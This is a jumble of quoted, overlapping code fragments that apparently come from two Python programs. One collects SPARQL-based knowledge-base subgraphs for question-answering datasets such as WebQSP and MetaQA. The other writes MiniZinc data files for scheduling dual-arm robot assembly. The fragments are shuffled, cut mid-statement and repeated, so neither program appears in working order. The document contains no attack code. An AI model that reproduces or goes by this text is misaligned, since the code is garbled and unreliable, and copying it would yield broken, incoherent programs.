"all_len.append(len(ret[0])) else: print(spql_2_hop) spql_1_hop = \"select distinct ?r1 where { \" + \"ns:\"",
"import tqdm import pickle from numpy.random import default_rng import numpy as np import",
"qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_freebaseqa(args.train_file) elif args.dataset_name.lower() == 'metaqa': qid2qents, qid2answers, qid2gold_spqls,",
"ans_ent) all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': paths}) len_q += len(paths) if len_q ==",
"KB # find 1, 2, 3 hop paths between question entities and answers",
"spql_2_hop = \"select distinct ?r1 ?r2 where { \" + \"ns:\" + q_ent",
"strings in the # immediate neighborhood. Unfortunately we can only look in the",
"# there are some qids for which the (above) query didnt execute because",
"0 for q_ent in q_ents: for ans_ent in ans_ents: paths = find_paths(e1_map, q_ent,",
"in answers: spql_1_hop_literal = \"select distinct ?r1 where { \" + \"ns:\" +",
"SPARQL # read metaqa KB # find 1, 2, 3 hop paths between",
"distinct ?r1 where { \" + \"ns:\" + q_ent + \" ?r1 ?e1.",
"ns:\" + ans_ent + \". }\" ret = execute_kb_query_for_hops(spql_2_hop, hop=2) is_exception = ret[1]",
"ns:\" + ans_ent + \". }\" ret = execute_kb_query_for_hops(spql_1_hop, hop=1) if not is_exception:",
"if args.dataset_name.lower() == 'metaqa': # metaqa has its own KB and not full",
"not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_2_hop) spql_1_hop =",
"some qids for which the (above) query didnt execute because # the entities",
"else: print(spql_2_hop) spql_1_hop = \"select distinct ?r1 where { \" + \"ns:\" +",
"tqdm(empty_qids): q_ents = qid2qents[empty_qid] answers = qid2answers[empty_qid] for q_ent in q_ents: for ans_ent",
"= execute_kb_query_for_hops(spql_1_hop_literal, hop=1) is_exception = ret[1] if not is_exception: all_subgraphs[empty_qid].append({'st': q_ent, 'en': ans_ent,",
"if args.use_wandb: wandb.init(\"adaptive-subgraph-collection\") if args.dataset_name.lower() == 'webqsp': qid2qents, qid2answers, qid2gold_chains, qid2q_str = get_query_entities_and_answers(args.train_file,",
"SPARQL expert, how # to handle such cases. print(\"Number of queries: {}\".format(len(all_subgraphs))) empty_qids",
"= qid2answers[qid] len_q = 0 for q_ent in q_ents: for ans_ent in ans_ents:",
"'\" + ans_ent + \"') }\" ret = execute_kb_query_for_hops(spql_1_hop_literal, hop=1) is_exception = ret[1]",
"(args.use_wandb == 1) if args.use_wandb: wandb.init(\"adaptive-subgraph-collection\") if args.dataset_name.lower() == 'webqsp': qid2qents, qid2answers, qid2gold_chains,",
"is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop) # there are",
"type=str, default='webqsp') parser.add_argument(\"--output_dir\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/subgraphs/webqsp_gold_entities') parser.add_argument(\"--use_gold_entities\", action='store_true') parser.add_argument(\"--metaqa_kb_file\", type=str, default=\"/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/MetaQA-synthetic/3-hop/kb.txt\") parser.add_argument(\"--job_id\", type=int, default=0)",
"= os.path.join(args.output_dir, \"{}_train_chains_{}.pkl\".format(args.dataset_name.lower(), str(args.job_id))) print(\"Writing file at {}\".format(out_file)) with open(out_file, \"wb\") as fout:",
"\"ns:\" + q_ent + \" ?r1 ns:\" + ans_ent + \". }\" ret",
"elif args.dataset_name.lower() == 'cwq': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_cwq(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower()",
"args.total_jobs st = args.job_id * job_size en = (1 + args.job_id) * job_size",
"parser.add_argument(\"--metaqa_kb_file\", type=str, default=\"/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/MetaQA-synthetic/3-hop/kb.txt\") parser.add_argument(\"--job_id\", type=int, default=0) parser.add_argument(\"--total_jobs\", type=int, default=1) parser.add_argument(\"--use_wandb\", type=int, default=1) args",
"for q_ent in q_ents: for ans_ent in answers: spql_1_hop_literal = \"select distinct ?r1",
"# read metaqa KB # find 1, 2, 3 hop paths between question",
"get_query_entities_and_answers, \\ get_query_entities_and_answers_cwq, execute_kb_query_for_hops, get_query_entities_and_answers_freebaseqa, \\ get_query_entities_and_answers_metaqa, read_metaqa_kb, find_paths if __name__ == '__main__':",
"\"wb\") as fout: pickle.dump(all_subgraphs, fout) else: all_subgraphs = defaultdict(list) all_len = [] for",
"them, issue a special query that look for those strings in the #",
"+ q_ent + \" ?r1 ?e1 . ?e1 ?r2 ns:\" + ans_ent +",
"much per query. Worth asking some SPARQL expert, how # to handle such",
"if not is_exception: all_subgraphs[empty_qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop_literal) print(\"Number",
"such cases. print(\"Number of queries: {}\".format(len(all_subgraphs))) empty_qids = set() for qid, _ in",
"if qid not in all_subgraphs: empty_qids.add(qid) for empty_qid in tqdm(empty_qids): q_ents = qid2qents[empty_qid]",
"ans_ent in ans_ents: paths = find_paths(e1_map, q_ent, ans_ent) all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains':",
"for those strings in the # immediate neighborhood. Unfortunately we can only look",
"st <= ctr < en: ans_ents = qid2answers[qid] len_q = 0 for q_ent",
"+ \"ns:\" + q_ent + \" ?r1 ?e1. FILTER(STR(?e1) = '\" + ans_ent",
"ans_ent in answers: spql_1_hop_literal = \"select distinct ?r1 where { \" + \"ns:\"",
"q_ent in q_ents: for ans_ent in ans_ents: paths = find_paths(e1_map, q_ent, ans_ent) all_subgraphs[qid].append({'st':",
"+ q_ent + \" ?r1 ns:\" + ans_ent + \". }\" ret =",
"for qid, _ in qid2qents.items(): if qid not in all_subgraphs: empty_qids.add(qid) for empty_qid",
"qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_cwq(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'freebaseqa': qid2qents, qid2answers, qid2gold_spqls,",
"and answers all_subgraphs = defaultdict(list) e1_map = read_metaqa_kb(args.metaqa_kb_file) qid2qents = [(qid, q_ents) for",
"ret[1] if not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_2_hop)",
"print(\"Number of queries after executing query for literals: {}\".format(len(all_subgraphs))) out_file = os.path.join(args.output_dir, \"{}_2_hop_train_chains.pkl\".format(args.dataset_name.lower()))",
"parser.add_argument(\"--train_file\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/data_with_mentions/webqsp_data_with_mentions/train.json') parser.add_argument(\"--dataset_name\", type=str, default='webqsp') parser.add_argument(\"--output_dir\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/subgraphs/webqsp_gold_entities') parser.add_argument(\"--use_gold_entities\", action='store_true') parser.add_argument(\"--metaqa_kb_file\", type=str,",
"get_query_entities_and_answers_cwq(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'freebaseqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_freebaseqa(args.train_file) elif",
"qid2qents = [(qid, q_ents) for (qid, q_ents) in sorted(qid2qents.items(), key=lambda item: item[0])] job_size",
"in q_ents: for ans_ent in ans_ents: paths = find_paths(e1_map, q_ent, ans_ent) all_subgraphs[qid].append({'st': q_ent,",
"+ q_ent + \" ?r1 ?e1. FILTER(STR(?e1) = '\" + ans_ent + \"')",
"answers: spql_1_hop_literal = \"select distinct ?r1 where { \" + \"ns:\" + q_ent",
"is_exception: all_subgraphs[empty_qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop_literal) print(\"Number of queries",
"all_subgraphs[empty_qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop_literal) print(\"Number of queries after",
"get_query_entities_and_answers_freebaseqa(args.train_file) elif args.dataset_name.lower() == 'metaqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_metaqa(args.train_file, return_gold_entities=args.use_gold_entities) if",
"open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs, fout) print(\"Min: {}, Mean: {}, Median: {}, Max:{}\".format(np.min(all_len),",
"if __name__ == '__main__': parser = argparse.ArgumentParser(description=\"Collect subgraphs around entities using CBR\") parser.add_argument(\"--train_file\",",
"ret = execute_kb_query_for_hops(spql_1_hop, hop=1) if not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]})",
"\" + \"ns:\" + q_ent + \" ?r1 ?e1 . ?e1 ?r2 ns:\"",
"not in all_subgraphs: empty_qids.add(qid) for empty_qid in tqdm(empty_qids): q_ents = qid2qents[empty_qid] answers =",
"in ans_ents: spql_2_hop = \"select distinct ?r1 ?r2 where { \" + \"ns:\"",
"q_ents) in tqdm(enumerate(qid2qents)): if st <= ctr < en: ans_ents = qid2answers[qid] len_q"
] |
[
"import Problem class ProblemPrinter: def __init__(self, fixture_order_raw, duration_rnd_seed, **kwargs): self.p = Problem(fixture_order_raw =",
"file1.write(\"TRAY_TASKS = \" + self.p.TrayTasksToString() + \";\\n\") file1.write(\"CAMERA_TASKS = \" + self.p.CameraTasksToString() +",
"self.fixture_order_raw[i] == 1: current = \"S\" elif self.fixture_order_raw[i] == -1: current = \"_\"",
"a copy of this software and associated documentation files (the \"Software\"), to deal",
"it does! # Fix! file1.write(\"gripper_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(0) + \";\\n\\n\") file1.write(\"suction_pick_tasks_orders =",
"# Copyright (c) 2021 <NAME> # # Permission is hereby granted, free of",
"to permit persons to whom the Software is furnished to do so, subject",
"file1.write(\"%-----------------------------------------------------------------------------%\\n\") file1.write(\"% Dual Arm Multi Capacity Multi Tool Scheduling / Routing\\n\") file1.write(\"% Assembly",
"current = \"S\" elif self.fixture_order_raw[i] == -1: current = \"_\" else: current =",
"\" + self.p.TrayTasksToString() + \";\\n\") file1.write(\"CAMERA_TASKS = \" + self.p.CameraTasksToString() + \";\\n\") file1.write(\"OUTPUT_TASKS",
"= \" + self.p.PressTasksToString() + \";\\n\") file1.write('\\n\\n') \"\"\" Printing Tool Pick and Place-",
"no, since it is output # However, we assume it does! # Fix!",
"file1.write(\"% Auto Generated by python script, authored by <NAME> \\n\") file1.write(\"%-----------------------------------------------------------------------------%\\n\\n\\n\") \"\"\" Printing",
"return self.p.no_grip + self.p.no_suction def FilePrint(self, file_name_prefix): \"\"\" Printing File Header \"\"\" setup_file_name",
"by <NAME> \\n\") file1.write(\"%-----------------------------------------------------------------------------%\\n\\n\\n\") \"\"\" Printing durations \"\"\" self.p.RandomizeTaskDurations(self.duration_rnd_seed) file1.write(\"task_durations = \") file1.write(self.p.GetDurationsOfTasksString(str_offset=len(\"task_durations",
"return s def GetNoComp(self): return self.p.no_grip + self.p.no_suction def FilePrint(self, file_name_prefix): \"\"\" Printing",
"ProblemPrinter: def __init__(self, fixture_order_raw, duration_rnd_seed, **kwargs): self.p = Problem(fixture_order_raw = fixture_order_raw, **kwargs) self.fixture_order_raw",
"+ \".dzn\" file1 = open(setup_file_name,\"w\") file1.write(\"%-----------------------------------------------------------------------------%\\n\") file1.write(\"% Dual Arm Multi Capacity Multi Tool",
"this software and associated documentation files (the \"Software\"), to deal in the Software",
"= \"ERROR\" s = s + current return s def GetNoComp(self): return self.p.no_grip",
"\"_\" + self.GetFixtureOrderString() + \".dzn\" file1 = open(setup_file_name,\"w\") file1.write(\"%-----------------------------------------------------------------------------%\\n\") file1.write(\"% Dual Arm Multi",
"+ self.p.OutputTasksToString() + \";\\n\") file1.write('\\n\\n') file1.write(\"empty_gripper_tasks = \" + self.p.PressTasksToString() + \";\\n\") file1.write('\\n\\n')",
"(c) 2021 <NAME> # # Permission is hereby granted, free of charge, to",
"current = \"_\" else: current = \"ERROR\" s = s + current return",
"__init__(self, fixture_order_raw, duration_rnd_seed, **kwargs): self.p = Problem(fixture_order_raw = fixture_order_raw, **kwargs) self.fixture_order_raw = fixture_order_raw",
"GetFixtureOrderString(self): s = \"\" current = \"\" for i in range(len(self.fixture_order_raw)): if self.fixture_order_raw[i]",
"last row does not seem to have press - which it does no,",
"since it is output # However, we assume it does! # Fix! file1.write(\"gripper_pick_tasks_orders",
"/ Routing\\n\") file1.write(\"% Assembly Configuration\\n\") file1.write(\"% Auto Generated by python script, authored by",
"= \"S\" elif self.fixture_order_raw[i] == -1: current = \"_\" else: current = \"ERROR\"",
"+ self.p.TrayTasksToString() + \";\\n\") file1.write(\"CAMERA_TASKS = \" + self.p.CameraTasksToString() + \";\\n\") file1.write(\"OUTPUT_TASKS =",
"free of charge, to any person obtaining a copy of this software and",
"is output # However, we assume it does! # Fix! file1.write(\"gripper_pick_tasks_orders = \"",
"\" + self.p.GetPickTaskOrderString(0) + \";\\n\\n\") file1.write(\"suction_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(1) + \";\\n\\n\") file1.write(\"fixture_task_orders",
"\";\\n\\n\") file1.write(\"suction_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(1) + \";\\n\\n\") file1.write(\"fixture_task_orders = \" + self.p.GetFixtureTaskOrderString()",
"and to permit persons to whom the Software is furnished to do so,",
"self.fixture_order_raw[i] == 0: current = \"G\" elif self.fixture_order_raw[i] == 1: current = \"S\"",
"Permission is hereby granted, free of charge, to any person obtaining a copy",
"in range(len(self.fixture_order_raw)): if self.fixture_order_raw[i] == 0: current = \"G\" elif self.fixture_order_raw[i] == 1:",
"row does not seem to have press - which it does no, since",
"file1.write(\"% Dual Arm Multi Capacity Multi Tool Scheduling / Routing\\n\") file1.write(\"% Assembly Configuration\\n\")",
"\"\"\" Printing durations \"\"\" self.p.RandomizeTaskDurations(self.duration_rnd_seed) file1.write(\"task_durations = \") file1.write(self.p.GetDurationsOfTasksString(str_offset=len(\"task_durations = \")+1)) file1.write('\\n\\n\\n') \"\"\"",
"self.p.TrayTasksToString() + \";\\n\") file1.write(\"CAMERA_TASKS = \" + self.p.CameraTasksToString() + \";\\n\") file1.write(\"OUTPUT_TASKS = \"",
"Arm Multi Capacity Multi Tool Scheduling / Routing\\n\") file1.write(\"% Assembly Configuration\\n\") file1.write(\"% Auto",
"orders \"\"\" # TODO: last row does not seem to have press -",
"not seem to have press - which it does no, since it is",
"self.p.GetPickTaskOrderString(1) + \";\\n\\n\") file1.write(\"fixture_task_orders = \" + self.p.GetFixtureTaskOrderString() + \";\\n\\n\") file1.close() return setup_file_name",
"do so, subject to the following conditions: from problem_instance import Problem class ProblemPrinter:",
"== 0: current = \"G\" elif self.fixture_order_raw[i] == 1: current = \"S\" elif",
"\"_\" else: current = \"ERROR\" s = s + current return s def",
"MIT License # # Copyright (c) 2021 <NAME> # # Permission is hereby",
"permit persons to whom the Software is furnished to do so, subject to",
"whom the Software is furnished to do so, subject to the following conditions:",
"rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of",
"the Software without restriction, including without limitation the rights to use, copy, modify,",
"\"\"\" self.p.RandomizeTaskDurations(self.duration_rnd_seed) file1.write(\"task_durations = \") file1.write(self.p.GetDurationsOfTasksString(str_offset=len(\"task_durations = \")+1)) file1.write('\\n\\n\\n') \"\"\" Printing task sets",
"any person obtaining a copy of this software and associated documentation files (the",
"person obtaining a copy of this software and associated documentation files (the \"Software\"),",
"the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies",
"FilePrint(self, file_name_prefix): \"\"\" Printing File Header \"\"\" setup_file_name = file_name_prefix + str(self.GetNoComp()) +",
"file1.write(\"task_durations = \") file1.write(self.p.GetDurationsOfTasksString(str_offset=len(\"task_durations = \")+1)) file1.write('\\n\\n\\n') \"\"\" Printing task sets \"\"\" file1.write(\"TRAY_TASKS",
"\")+1)) file1.write('\\n\\n\\n') \"\"\" Printing task sets \"\"\" file1.write(\"TRAY_TASKS = \" + self.p.TrayTasksToString() +",
"sets \"\"\" file1.write(\"TRAY_TASKS = \" + self.p.TrayTasksToString() + \";\\n\") file1.write(\"CAMERA_TASKS = \" +",
"Capacity Multi Tool Scheduling / Routing\\n\") file1.write(\"% Assembly Configuration\\n\") file1.write(\"% Auto Generated by",
"which it does no, since it is output # However, we assume it",
"copies of the Software, and to permit persons to whom the Software is",
"\"\"\" file1.write(\"TRAY_TASKS = \" + self.p.TrayTasksToString() + \";\\n\") file1.write(\"CAMERA_TASKS = \" + self.p.CameraTasksToString()",
"file1.write(self.p.GetDurationsOfTasksString(str_offset=len(\"task_durations = \")+1)) file1.write('\\n\\n\\n') \"\"\" Printing task sets \"\"\" file1.write(\"TRAY_TASKS = \" +",
"without restriction, including without limitation the rights to use, copy, modify, merge, publish,",
"merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit",
"File Header \"\"\" setup_file_name = file_name_prefix + str(self.GetNoComp()) + \"_\" + self.GetFixtureOrderString() +",
"str(self.GetNoComp()) + \"_\" + self.GetFixtureOrderString() + \".dzn\" file1 = open(setup_file_name,\"w\") file1.write(\"%-----------------------------------------------------------------------------%\\n\") file1.write(\"% Dual",
"\"S\" elif self.fixture_order_raw[i] == -1: current = \"_\" else: current = \"ERROR\" s",
"script, authored by <NAME> \\n\") file1.write(\"%-----------------------------------------------------------------------------%\\n\\n\\n\") \"\"\" Printing durations \"\"\" self.p.RandomizeTaskDurations(self.duration_rnd_seed) file1.write(\"task_durations =",
"# However, we assume it does! # Fix! file1.write(\"gripper_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(0)",
"\" + self.p.GetPickTaskOrderString(1) + \";\\n\\n\") file1.write(\"fixture_task_orders = \" + self.p.GetFixtureTaskOrderString() + \";\\n\\n\") file1.close()",
"authored by <NAME> \\n\") file1.write(\"%-----------------------------------------------------------------------------%\\n\\n\\n\") \"\"\" Printing durations \"\"\" self.p.RandomizeTaskDurations(self.duration_rnd_seed) file1.write(\"task_durations = \")",
"\" + self.p.OutputTasksToString() + \";\\n\") file1.write('\\n\\n') file1.write(\"empty_gripper_tasks = \" + self.p.PressTasksToString() + \";\\n\")",
"= \")+1)) file1.write('\\n\\n\\n') \"\"\" Printing task sets \"\"\" file1.write(\"TRAY_TASKS = \" + self.p.TrayTasksToString()",
"+ \";\\n\\n\") file1.write(\"suction_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(1) + \";\\n\\n\") file1.write(\"fixture_task_orders = \" +",
"Copyright (c) 2021 <NAME> # # Permission is hereby granted, free of charge,",
"have press - which it does no, since it is output # However,",
"associated documentation files (the \"Software\"), to deal in the Software without restriction, including",
"<NAME> # # Permission is hereby granted, free of charge, to any person",
"<NAME> \\n\") file1.write(\"%-----------------------------------------------------------------------------%\\n\\n\\n\") \"\"\" Printing durations \"\"\" self.p.RandomizeTaskDurations(self.duration_rnd_seed) file1.write(\"task_durations = \") file1.write(self.p.GetDurationsOfTasksString(str_offset=len(\"task_durations =",
"so, subject to the following conditions: from problem_instance import Problem class ProblemPrinter: def",
"copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and",
"\" + self.p.CameraTasksToString() + \";\\n\") file1.write(\"OUTPUT_TASKS = \" + self.p.OutputTasksToString() + \";\\n\") file1.write('\\n\\n')",
"= s + current return s def GetNoComp(self): return self.p.no_grip + self.p.no_suction def",
"= None self.no_suction = None self.duration_rnd_seed = duration_rnd_seed def GetFixtureOrderString(self): s = \"\"",
"Multi Capacity Multi Tool Scheduling / Routing\\n\") file1.write(\"% Assembly Configuration\\n\") file1.write(\"% Auto Generated",
"file1.write('\\n\\n') \"\"\" Printing Tool Pick and Place- orders \"\"\" # TODO: last row",
"self.p.GetPickTaskOrderString(0) + \";\\n\\n\") file1.write(\"suction_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(1) + \";\\n\\n\") file1.write(\"fixture_task_orders = \"",
"\"\"\" Printing Tool Pick and Place- orders \"\"\" # TODO: last row does",
"open(setup_file_name,\"w\") file1.write(\"%-----------------------------------------------------------------------------%\\n\") file1.write(\"% Dual Arm Multi Capacity Multi Tool Scheduling / Routing\\n\") file1.write(\"%",
"by python script, authored by <NAME> \\n\") file1.write(\"%-----------------------------------------------------------------------------%\\n\\n\\n\") \"\"\" Printing durations \"\"\" self.p.RandomizeTaskDurations(self.duration_rnd_seed)",
"self.GetFixtureOrderString() + \".dzn\" file1 = open(setup_file_name,\"w\") file1.write(\"%-----------------------------------------------------------------------------%\\n\") file1.write(\"% Dual Arm Multi Capacity Multi",
"file1.write(\"CAMERA_TASKS = \" + self.p.CameraTasksToString() + \";\\n\") file1.write(\"OUTPUT_TASKS = \" + self.p.OutputTasksToString() +",
"self.p.OutputTasksToString() + \";\\n\") file1.write('\\n\\n') file1.write(\"empty_gripper_tasks = \" + self.p.PressTasksToString() + \";\\n\") file1.write('\\n\\n') \"\"\"",
"= \" + self.p.CameraTasksToString() + \";\\n\") file1.write(\"OUTPUT_TASKS = \" + self.p.OutputTasksToString() + \";\\n\")",
"= open(setup_file_name,\"w\") file1.write(\"%-----------------------------------------------------------------------------%\\n\") file1.write(\"% Dual Arm Multi Capacity Multi Tool Scheduling / Routing\\n\")",
"the Software, and to permit persons to whom the Software is furnished to",
"= Problem(fixture_order_raw = fixture_order_raw, **kwargs) self.fixture_order_raw = fixture_order_raw self.no_grip = None self.no_suction =",
"\"\" for i in range(len(self.fixture_order_raw)): if self.fixture_order_raw[i] == 0: current = \"G\" elif",
"\";\\n\") file1.write('\\n\\n') \"\"\" Printing Tool Pick and Place- orders \"\"\" # TODO: last",
"sublicense, and/or sell copies of the Software, and to permit persons to whom",
"use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,",
"Pick and Place- orders \"\"\" # TODO: last row does not seem to",
"file1.write(\"% Assembly Configuration\\n\") file1.write(\"% Auto Generated by python script, authored by <NAME> \\n\")",
"modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to",
"Dual Arm Multi Capacity Multi Tool Scheduling / Routing\\n\") file1.write(\"% Assembly Configuration\\n\") file1.write(\"%",
"\";\\n\") file1.write('\\n\\n') file1.write(\"empty_gripper_tasks = \" + self.p.PressTasksToString() + \";\\n\") file1.write('\\n\\n') \"\"\" Printing Tool",
"fixture_order_raw self.no_grip = None self.no_suction = None self.duration_rnd_seed = duration_rnd_seed def GetFixtureOrderString(self): s",
"self.no_grip = None self.no_suction = None self.duration_rnd_seed = duration_rnd_seed def GetFixtureOrderString(self): s =",
"fixture_order_raw, duration_rnd_seed, **kwargs): self.p = Problem(fixture_order_raw = fixture_order_raw, **kwargs) self.fixture_order_raw = fixture_order_raw self.no_grip",
"# # Permission is hereby granted, free of charge, to any person obtaining",
"# # Copyright (c) 2021 <NAME> # # Permission is hereby granted, free",
"furnished to do so, subject to the following conditions: from problem_instance import Problem",
"distribute, sublicense, and/or sell copies of the Software, and to permit persons to",
"copy of this software and associated documentation files (the \"Software\"), to deal in",
"software and associated documentation files (the \"Software\"), to deal in the Software without",
"None self.duration_rnd_seed = duration_rnd_seed def GetFixtureOrderString(self): s = \"\" current = \"\" for",
"2021 <NAME> # # Permission is hereby granted, free of charge, to any",
"= fixture_order_raw, **kwargs) self.fixture_order_raw = fixture_order_raw self.no_grip = None self.no_suction = None self.duration_rnd_seed",
"\".dzn\" file1 = open(setup_file_name,\"w\") file1.write(\"%-----------------------------------------------------------------------------%\\n\") file1.write(\"% Dual Arm Multi Capacity Multi Tool Scheduling",
"Printing task sets \"\"\" file1.write(\"TRAY_TASKS = \" + self.p.TrayTasksToString() + \";\\n\") file1.write(\"CAMERA_TASKS =",
"s def GetNoComp(self): return self.p.no_grip + self.p.no_suction def FilePrint(self, file_name_prefix): \"\"\" Printing File",
"Tool Scheduling / Routing\\n\") file1.write(\"% Assembly Configuration\\n\") file1.write(\"% Auto Generated by python script,",
"== 1: current = \"S\" elif self.fixture_order_raw[i] == -1: current = \"_\" else:",
"Fix! file1.write(\"gripper_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(0) + \";\\n\\n\") file1.write(\"suction_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(1)",
"elif self.fixture_order_raw[i] == 1: current = \"S\" elif self.fixture_order_raw[i] == -1: current =",
"+ self.p.GetPickTaskOrderString(1) + \";\\n\\n\") file1.write(\"fixture_task_orders = \" + self.p.GetFixtureTaskOrderString() + \";\\n\\n\") file1.close() return",
"assume it does! # Fix! file1.write(\"gripper_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(0) + \";\\n\\n\") file1.write(\"suction_pick_tasks_orders",
"Printing File Header \"\"\" setup_file_name = file_name_prefix + str(self.GetNoComp()) + \"_\" + self.GetFixtureOrderString()",
"obtaining a copy of this software and associated documentation files (the \"Software\"), to",
"press - which it does no, since it is output # However, we",
"Routing\\n\") file1.write(\"% Assembly Configuration\\n\") file1.write(\"% Auto Generated by python script, authored by <NAME>",
"does! # Fix! file1.write(\"gripper_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(0) + \";\\n\\n\") file1.write(\"suction_pick_tasks_orders = \"",
"else: current = \"ERROR\" s = s + current return s def GetNoComp(self):",
"fixture_order_raw, **kwargs) self.fixture_order_raw = fixture_order_raw self.no_grip = None self.no_suction = None self.duration_rnd_seed =",
"Multi Tool Scheduling / Routing\\n\") file1.write(\"% Assembly Configuration\\n\") file1.write(\"% Auto Generated by python",
"charge, to any person obtaining a copy of this software and associated documentation",
"# TODO: last row does not seem to have press - which it",
"it is output # However, we assume it does! # Fix! file1.write(\"gripper_pick_tasks_orders =",
"0: current = \"G\" elif self.fixture_order_raw[i] == 1: current = \"S\" elif self.fixture_order_raw[i]",
"\"Software\"), to deal in the Software without restriction, including without limitation the rights",
"+ self.p.GetPickTaskOrderString(0) + \";\\n\\n\") file1.write(\"suction_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(1) + \";\\n\\n\") file1.write(\"fixture_task_orders =",
"deal in the Software without restriction, including without limitation the rights to use,",
"= \" + self.p.GetPickTaskOrderString(0) + \";\\n\\n\") file1.write(\"suction_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(1) + \";\\n\\n\")",
"granted, free of charge, to any person obtaining a copy of this software",
"limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell",
"python script, authored by <NAME> \\n\") file1.write(\"%-----------------------------------------------------------------------------%\\n\\n\\n\") \"\"\" Printing durations \"\"\" self.p.RandomizeTaskDurations(self.duration_rnd_seed) file1.write(\"task_durations",
"Generated by python script, authored by <NAME> \\n\") file1.write(\"%-----------------------------------------------------------------------------%\\n\\n\\n\") \"\"\" Printing durations \"\"\"",
"= \"G\" elif self.fixture_order_raw[i] == 1: current = \"S\" elif self.fixture_order_raw[i] == -1:",
"Configuration\\n\") file1.write(\"% Auto Generated by python script, authored by <NAME> \\n\") file1.write(\"%-----------------------------------------------------------------------------%\\n\\n\\n\") \"\"\"",
"**kwargs): self.p = Problem(fixture_order_raw = fixture_order_raw, **kwargs) self.fixture_order_raw = fixture_order_raw self.no_grip = None",
"Assembly Configuration\\n\") file1.write(\"% Auto Generated by python script, authored by <NAME> \\n\") file1.write(\"%-----------------------------------------------------------------------------%\\n\\n\\n\")",
"+ self.p.CameraTasksToString() + \";\\n\") file1.write(\"OUTPUT_TASKS = \" + self.p.OutputTasksToString() + \";\\n\") file1.write('\\n\\n') file1.write(\"empty_gripper_tasks",
"Tool Pick and Place- orders \"\"\" # TODO: last row does not seem",
"+ \";\\n\") file1.write(\"CAMERA_TASKS = \" + self.p.CameraTasksToString() + \";\\n\") file1.write(\"OUTPUT_TASKS = \" +",
"self.no_suction = None self.duration_rnd_seed = duration_rnd_seed def GetFixtureOrderString(self): s = \"\" current =",
"= \"\" for i in range(len(self.fixture_order_raw)): if self.fixture_order_raw[i] == 0: current = \"G\"",
"of this software and associated documentation files (the \"Software\"), to deal in the",
"\") file1.write(self.p.GetDurationsOfTasksString(str_offset=len(\"task_durations = \")+1)) file1.write('\\n\\n\\n') \"\"\" Printing task sets \"\"\" file1.write(\"TRAY_TASKS = \"",
"publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons",
"Problem(fixture_order_raw = fixture_order_raw, **kwargs) self.fixture_order_raw = fixture_order_raw self.no_grip = None self.no_suction = None",
"from problem_instance import Problem class ProblemPrinter: def __init__(self, fixture_order_raw, duration_rnd_seed, **kwargs): self.p =",
"file1.write(\"suction_pick_tasks_orders = \" + self.p.GetPickTaskOrderString(1) + \";\\n\\n\") file1.write(\"fixture_task_orders = \" + self.p.GetFixtureTaskOrderString() +",
"problem_instance import Problem class ProblemPrinter: def __init__(self, fixture_order_raw, duration_rnd_seed, **kwargs): self.p = Problem(fixture_order_raw",
"output # However, we assume it does! # Fix! file1.write(\"gripper_pick_tasks_orders = \" +",
"conditions: from problem_instance import Problem class ProblemPrinter: def __init__(self, fixture_order_raw, duration_rnd_seed, **kwargs): self.p",
"\"ERROR\" s = s + current return s def GetNoComp(self): return self.p.no_grip +",
"including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,",
"+ self.p.no_suction def FilePrint(self, file_name_prefix): \"\"\" Printing File Header \"\"\" setup_file_name = file_name_prefix",
"sell copies of the Software, and to permit persons to whom the Software",
"persons to whom the Software is furnished to do so, subject to the",
"range(len(self.fixture_order_raw)): if self.fixture_order_raw[i] == 0: current = \"G\" elif self.fixture_order_raw[i] == 1: current",
"= duration_rnd_seed def GetFixtureOrderString(self): s = \"\" current = \"\" for i in",
